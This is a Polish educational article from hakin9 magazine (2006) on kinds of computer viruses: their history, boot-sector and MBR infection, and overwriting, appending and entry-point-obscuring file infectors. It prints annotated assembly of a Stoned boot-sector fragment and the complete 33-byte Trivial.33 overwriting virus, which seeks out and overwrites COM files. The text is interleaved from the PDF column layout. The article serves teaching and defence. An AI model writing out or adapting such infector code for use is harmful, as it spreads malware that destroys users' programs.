Rodzaje wir.usow(1), Komputer
[ Pobierz całość w formacie PDF ]
Rodzaje wirusów
komputerowych
Bartłomiej Rudzki, Piotr Modzelewski
Artykuł w formie elektronicznej pochodzi z magazynu
hakin9 Nr 5/2006
. Wszelkie prawa zastrzeżone.
Rozpowszechnianie artykułu bez zgody Software Wydawnictwo Sp. z o.o. Zabronione.
Magazyn
hakin9
, Software-Wydawnictwo, ul. Bokserska 1, 02-682 Warszawa
, pl@hakin9.org
Rodzaje wirusów
komputerowych
Teoria
Bartłomiej Rudzki, Piotr Modzelewski
stopień trudności
Jednym z najgłośniejszych tematów związanych z informatyką
poruszanych w mediach jest aspekt wirusów komputerowych.
Wirusy, a dokładniej cała grupa niebezpiecznych programów
nazywanych angielskim terminem malware, jest bardzo
wdzięcznym tematem dla prasy i telewizji: niszczą dane,
wywołują spektakularne ataki skutkujące gigantycznymi stratami
inansowymi, wywołują panikę u ludzi.
przełomu lat 50 i 60 XX wieku, kiedy to
amerykański naukowiec John von Neu-
mann, znany jako konstruktor pierwszej bomby
atomowej, rozpoczął badania na temat samo-
powielających się automatów. Dało to naukowe
podstawy budowy samoczynnie rozprzestrze-
niających się programów komputerowych, któ-
re później zostały nazwane wirusami.
Pierwszy znany wirus komputerowy poja-
wił się w 1970, kiedy to w sieci wojskowej AR-
PANET pojawił się program
Creeper
. Był on
napisany pod system operacyjny TENEX. Po-
traił nawiązać połączenie modemowe i sko-
piować do zdalnego systemu. Zainfekowa-
ne systemy wyświetlały tekst
I’m the creeper:
catch me if you can
. (ang.
Jestem CREEPER:
złap mnie jeśli zdołasz
). Ciekawostką jest
fakt, iż szybko pojawił się program
Reaper
,
który wyszukiwał i niszczył Creepera.
Od tamtego czasu coraz częściej po-
jawiało się szkodliwe oprogramowanie, na
przykład
Rabbit
,
Elk
Cloner
lecz dopiero w
1983 roku, Len Adleman, naukowiec Lehigh
University po raz pierwszy zaproponował na-
zwę
wirus
oznaczającą samopowielający się
program.
Pierwszym wirusem dla komputerów PC był
Brain
napisany w 1986 r. przez braci Basita i
Amjada Farooq Alvi z Pakistanu. Był to prosty
wirus infekujący boot-sektory dyskietek o po-
jemności 360 KB. Jego działanie ograniczało
się do zmiany etykiety dysku na
(c) Brain
. War-
to zauważyć, że
Brain
był również pierwszym
wirusem, który potraił się ukrywać. Po wykry-
ciu próby odczytu zainfekowanego sektora, wi-
rus wyświetlał oryginalne, niezainfekowane da-
ne. W przeciwieństwie do samego wirusa, je-
go twórcom nie zależało na anonimowości – w
kodzie wirusa zostawili swoje nazwiska, adres i
numery telefonów.
Z artykułu dowiesz się...
• czym są wirusy komputerowe,
• jak rozwijały się na przestrzeni lat,
• jak wirus zaraża komputer,
• jak zmniejszyć ryzyko zarażenia.
Powinieneś wiedzieć...
• podstawy języka assembler
• podstawy architektury mikroprocesorów x86.
56
hakin9 Nr 5/2006
www.hakin9.org
H
istoria wirusów komputerowych sięga
Rodzaje wirusów komputerowych
Dalej poszło już szybko: w 1987
roku nastąpiła pierwsza infekcja ska-
li światowej przez wirus
Vienna
, w
1988 powstał pierwszy internetowy
robak Roberta Morisa, a w 1989 tro-
jan
AIDS
zainfekował ponad 10000
dyskietek. W 1992 roku pojawiła się
pierwsza histeria medialna dotyczą-
ca wirusa
Michelangelo
, oprogramo-
wania które 6 marca, tj. w urodziny
Michała Anioła, aktywowało się, a
następnie niszczyło logiczną struktu-
rę dysków opartych na systemie pli-
ków FAT.
Połowa lat 90 to czas w którym
główne zagrożenie stanowiły wirusy
napisane jako makro do MS Ofice,
popularnie znane jako makrowirusy
oraz pierwsze wirusy dla systemu
Windows 95 (na przykład
W95.Bo-
za
). Kolejne lata zdążyły wszystkich
przyzwyczaić do masowych ataków:
w 1998 wirus
W95/CIH
napisany
przez studenta z Tajwanu Chen Ing-
Hau, który zainfekował około 600
000 komputerów, w 1999 pierwszy
robak napisany jako makro MS Word
–
Melissa
wywołał 385 milionów do-
larów strat.
Ostatnie lata to okres szybko roz-
przestrzeniających się robaków in-
ternetowych wykorzystujących luki w
systemach operacyjnych. W dzisiej-
szych czasach ataki są powszech-
ne, korporacje wprowadziły procedu-
ry związane z ochroną antywirusową
a nazwy wirusów takie jak:
ILoveYou
,
CodeRed
,
Blaster
,
MyDoom
czy
Sas-
ser
stały się powszechnie znane.
Listing 1.
Fragment kodu wirusa Stoned
START3
:
XOR
AX
,
AX
; Początek zainfekowanego boot-sektora
MOV
DS
,
AX
; DS=SS=0
CLI
; wyłączenie przerwań na czas zmiany stosu
MOV
SS
,
AX
MOV
SP
,
7C00H
; ustawienie stosu na 0000:7C00
STI
; przywrócenie przerwań
MOV
AX
,
WORD
PTR
ds
:
[
INT13_OFF
]
;pobranie obecnego wektora
przerwania 13h
MOV
[
OLD_INT13_OFF
]
,
AX
; i zapisanie go w celu późniejszego
użycia
MOV
AX
,
WORD
PTR
ds
:
[
INT13_Seg
]
MOV
[
OLD_INT13_SEG
]
,
AX
MOV
AX
,
[
MEM_SIZE
]
; pobranie rozmiaru pamięci (w KB)
DEC
AX
; odjęcie 2KB
DEC
AX
MOV
[
MEM_SIZE
]
,
AX
; zapisanie zmienionego rozmiaru
MOV
CL
,
6
; Zmiana rozmiaru pamięci na wartość segmentu
SHL
AX
,
CL
MOV
ES
,
AX
; i zapamiętanie w rejestrze es
MOV
[
HIMEM_SEG
]
,
AX
; oraz w zmiennej
MOV
AX
,
OFFSET
INT_13h
-
7C00h
; nadpisanie przerwania 13h
MOV
WORD
PTR
DS
:
[
INT13_OFF
]
,
AX
MOV
WORD
PTR
DS
:
[
INT13_SEG
]
,
ES
MOV
CX
,
OFFSET
END_VIRUS
-
7C00h
PUSH
CS
POP
DS
XOR
SI
,
SI
;SI=DI=0
MOV
DI
,
SI
CLD
REP
MOVSB
; załadowanie wirusa do pamięci wysokiej
JMP
DWORD PTR
CS
:
[
HIMEM_OFS
-
7C00h
]
; i wykonanie jego kodu
HIMEM
:
MOV
AX
,
0
; zresetowanie dysku
INT
13h
XOR
AX
,
AX
MOV
ES
,
AX
;ES=0
MOV
AX
,
201h
; przygotowanie do załadowania oryginalnego boot-
sektora
MOV
BX
,
7C00h
CMP
BYTE PTR
CS
:
[
DRIVE_NO
-
7C00H
]
,
0
; z którego dysku startujemy
JE
FLOPPY_BOOT
; z dyskietki
HARD_BOOT
:
MOV
CX
,
7
; z dysku twardego
MOV
DX
,
80h
; odczytanie Cyl 0, Hd 0, Sec 7
INT
13h
; gdzie jest zapisany oryginalny boot-sektor
JMP
SHORT
GO_BOOT
; i skok do tego miejsca
NOP
Wirusy dyskowe
Typowy dysk twardy komputera PC
podzielony jest od strony izycznej
na cylindry, ścieżki i sektory oraz
od strony logicznej na partycje, któ-
rym system operacyjny przydziela
unikalne nazwy. W przypadku sys-
temów MS-DOS i Windows NT są
to litery C:, D:, itd. System operacyj-
ny jest obecnie ładowany najczęściej
z dysku twardego lub z sieci, jednak
w przypadku wczesnych systemów
operacyjnych komputery korzystały z
dyskietek systemowych. ROM-BIOS
odczytywał pierwszy sektor dyskiet-
ki, ładował go do pamięci pod adres
[0000:7C00] i wykonywał załadowa-
FLOPPY_BOOT
:
MOV
CX
,
3
; z dyskietki
MOV
DX
,
100H
;odczytanie Cyl 0, Hd 1, Sec 3
INT
13h
; gdzie jest zapisany oryginalny boot-sektor
JC
GO_BOOT
; skok, jesli błąd
TEST
BYTE PTR
ES
:
[
TIMER
]
,
7
; w 1/8 przypadków wypisujemy
komunikat
JNZ
MESSAGE_DONE
MOV
SI
,
OFFSET
STONED_MSG1
-
7C00H
PUSH
CS
POP
DS
;DS=CS
ny kod. Stwarzało to ogromne moż-
liwości dla rozpowszechniania wiru-
sów, których kod mógł być załado-
wany do pamięci przed załadowa-
niem systemu operacyjnego. Pręd-
kość rozprzestrzeniania infekcji była
jednak ograniczona faktem, iż wirus
mógł się znaleźć na innym kompute-
rze wyłącznie poprzez użycie zainfe-
kowanej dyskietki startowej.
www.hakin9.org
hakin9 Nr 5/2006
57
Teoria
Rysunek 1.
Wirus nadpisujący (a)
kie wirusy są bardzo szybko wykry-
wane przez użytkowników, dlatego ta
metoda ma większy potencjał, jeże-
li jest wykorzystywana w środowisku
sieciowym.
Nadpisywanie części kodu nosi-
ciela własnym kodem jest metodą in-
fekcji trudniejszą do wykrycia. Plik taki
nie zmienia swojego rozmiaru na dys-
ku a jednocześnie czasami jest wyko-
nywany poprawnie. Ta metoda infekcji
jest wykorzystywana przez tzw. małe
wirusy. Na początku lat dziewięćdzie-
siątych twórcy wirusów starali się napi-
sać jak najkrótsze wirusy binarne. Re-
zultatem ich wysiłków jest m.in. rodzi-
na
Trivial
. Najkrótszy z tych wirusów
ma długość tylko 22 bajtów, jednak je-
go kod jest w dużej mierze oparty na
niepewnych założeniach odnośnie po-
czątkowej zawartości rejestrów proce-
sora. Na listingu przedstawiony został
jeden z najprostszych a jednocześnie
niekorzystający z takich założeń wa-
riant wirusa.
Innym rzadkim wariantem wiru-
sów nadpisujących są wirusy nadpi-
sujące plik nosiciela w losowym miej-
scu (np. rosyjski wirus
Omud
). Oczy-
wiście wirus nie ma żadnej pewno-
ści, że zostanie wykonany, a jedno-
cześnie w większości przypadków
uszkadza nosiciela w stopniu niepo-
Rysunek 2.
Wirus nadpisujący (b) – Trivial
Na nowszych systemach wystę-
puje główny rekord startowy (ang.
ma-
ster boot record
–
MBR
). Zajmuje 512
bajtów (446 bajtów kodu rozruchowe-
go, 4 struktury po 16 bajtów opisujące
partycje podstawowe i 2 bajty sygna-
tury 0x55AA) i umiejscowiony jest na
pierwszej ścieżce, w pierwszym cylin-
drze, w pierwszym sektorze dysku
twardego. Wirusy takie, jak:
Stoned
,
Azusa
,
StarShip
czy
Tequila
infekowa-
ły
MBR
, co powodowało ich ładowanie
podczas ładowania systemu operacyj-
nego z dysku twardego.
Wirusy dyskowe są dzisiaj prak-
tycznie niespotykane, ponieważ dys-
kietki startowe wyszły z powszech-
nego użytku. Są jednak niebezpiecz-
ne, ponieważ mogą zainfekować
komputer niezależnie od używane-
go systemu operacyjnego.
Wirusy nadpisujące
(ang. Overwriting viruses)
Wirusy nadpisujące to rodzaj wirusów,
który zastępuje całość lub część kodu
nosiciela własnym kodem. Nadpisanie
całego pliku nosiciela to bardzo prymi-
tywna metoda, ale z całą pewnością
najprostsza. Może również spowodo-
wać olbrzymie problemy, jeżeli nadpi-
sane zostały pliki na całym dysku. Ta-
Listing 2.
Kod wirusa Trivial.33
.MODEL
TINY
.CODE
ORG
100h
begin
:
LEA
DX
,
COM_FILES
; znalezienie pliku *.COM
MOV
AH
,
4Eh
INT
21h
MOV
AX
,
3D02h
; otwarcie pliku do odczytu/zapisu
MOV
CX
,
(
OFFSET
EOF
-
OFFSET
BEGIN
)
; 33 bajty
MOV
DX
,
9Eh
; pierwszy plik w DTA
INT
21h
Wirusy plikowe
Wirusy infekujące pliki to najczęściej
spotykany rodzaj wirusów. Zazwy-
czaj po wykonaniu kodu wirusa, plik
będący nosicielem odzyskuje kontro-
lę nad przepływem sterowania i jego
działanie jest niezakłócone. To po-
zwala wirusom na dłuższe ukrycie
swojej obecności.
Wirusy plikowe możemy podzie-
lić na kilka rodzajów w zależności od
sposobu infekcji pliku nosiciela.
XCHG
AX
,
BX
MOV
DX
,
100h
MOV
AH
,
40h
; Zapisanie kodu wirusa
INT
21h
RETN
; powrót do DOS
COM_FILES
DB
'*.com'
,
0
; Szukamy plików *.COM
EOF
:
END
BEGIN
58
hakin9 Nr 5/2006
www.hakin9.org
Rodzaje wirusów komputerowych
Rysunek 3.
Wirus nadpisujący (c)
go punktu wejścia nagłówku pliku
NE
(
New Executable
– format plików
używanych w Windows 3.x), zamiast
tego szukał nazw modułów
KERNEL
i
VBRUN300
w tablicy referencji mo-
dułów pliku. Rekord 91 modułu
KER-
NEL
(
INITTASK
) oraz rekord 100
modułu
VBRUN300
wskazują na
standardowy kod inicjalizacyjny, któ-
ry musi być wykonany na początku
każdej aplikacji Windows. Na przy-
kład program
keyview.exe
posiada
następujący wpis relokacji dla
KER-
NEL.91
dla pierwszego segmentu:
Kiedy program
keyview.exe
zo-
stanie zainfekowany, wirus zmienia
ten rekord, aby wskazywał na nowy
segment
VIRUS_SEGMENT.
Zainfekowany plik uruchamia się
tak, jak przed infekcją, ale kiedy apli-
kacja próbuje wywołać jedną z wy-
mienionych wyżej funkcji inicjaliza-
cyjnych, kontrola zostaje przekazana
do adresu, gdzie zaczyna się wirus.
Segment
VIRUS_SEGMENT
po-
siada trzy rekordy relokacji. Jeden z
nich wskazuje na oryginalną funkcję
inicjalizacyjną. W ten sposób wirus
jest w stanie wywołać oryginalny kod
po wykonaniu swojego.
W systemach 32-bitowych tech-
niki
EPO
stały się bardzo zaawan-
sowane. Większość metod infekcji
znanych w systemach 16-bitowych
została z powodzeniem przeniesio-
na na nowe platformy (np. rodzina
W32/Idele
infekowała pliki
PE
na po-
dobnej zasadzie jak
Tentacle_II
infe-
kował pliki
NE
).
zwalającym na poprawne wykonanie
jego kodu. Dlatego infekcje tego typu
wirusami mają ograniczony zasięg.
Istnieją również wirusy nadpi-
sujące te fragmenty pliku nosiciela,
które nie są wykorzystywane pod-
czas normalnego uruchomienia (np.
wyrównanie sekcji w pliku PE czy
wyrównanie instrukcji przez kompi-
latory C bajtami 0CCh).
pisane są w językach wysokiego po-
ziomu (np.
C
,
Pascal
lub
Delphi
).
Czasem wykorzystują pliki tymcza-
sowe do przechowywania zawarto-
ści oryginalnego programu.
Wirusy EPO
Wirusy
EPO
(ang.
Entry-Point Ob-
scuring -
ukrywanie punktu wejścia)
to wirusy, które nie zmieniają adre-
su pierwszej wykonywanej instrukcji,
nie zmieniają również samej instruk-
cji zapisanej pod tym adresem. Za-
miast tego analizują wykonanie kodu
programu (tak, jak robią to debugge-
ry) i w pewnym miejscu kodu wyko-
nują skok (poprzez instrukcję
CALL
lub przy użyciu sztuczki polegającej
na umieszczeniu na stosie adresu i
wykonaniu polecenia
RET
; powoduje
to również wykonanie instrukcji pod
żądanym adresem).
Jednym z pierwszych wirusów
EPO była rodzina
Tentacle_II
dzia-
łająca pod systemem Windows 3.x.
Wirus ten nie zmieniał oryginalne-
Wirusy dopisywane do pliku
nosiciela
Bardzo typową infekcją plików COM
w systemie operacyjnym DOS jest
wstawienie instrukcji skoku (
JMP
) na
początku nosiciela. Skok jest wyko-
nywany do kodu wirusa umieszczo-
nego za całym kodem programu.
Nadpisane instrukcją skoku bajty (od
3 do 16) umieszczane są pod koniec
kodu wirusa. Przy uruchomieniu pro-
gramu wykonywany jest kod wirusa,
zapamiętane bajty są ładowane w
pamięci do miejsca, gdzie wystąpiła
instrukcja skoku (plik jest “leczony” w
pamięci) i przepływ sterowania wra-
ca do początku programu – wykony-
wany jest oryginalny program.
Ta technika może być wykorzy-
stywana w każdym typie pliku wyko-
nywalnego (
EXE
,
NE
,
PE
,
ELF
, itd.).
Pliki takie posiadają nagłówek, w
którym zapisany jest początek kodu
zamieniany podczas infekcji na in-
strukcje skoku do kodu wirusa.
Wirusy mogą być również dopi-
sywane na początek pliku nosiciela.
Takie wirusy są bardziej skompliko-
wane niż opisane wcześniej, ponie-
waż poprawne wykonanie kodu nosi-
ciela musi być zapewnione przez po-
nowne obliczenie wykorzystywanych
adresów. Dlatego takie wirusy często
Rysunek 4.
Wirus nadpisujący (d)
www.hakin9.org
hakin9 Nr 5/2006
59
[ Pobierz całość w formacie PDF ]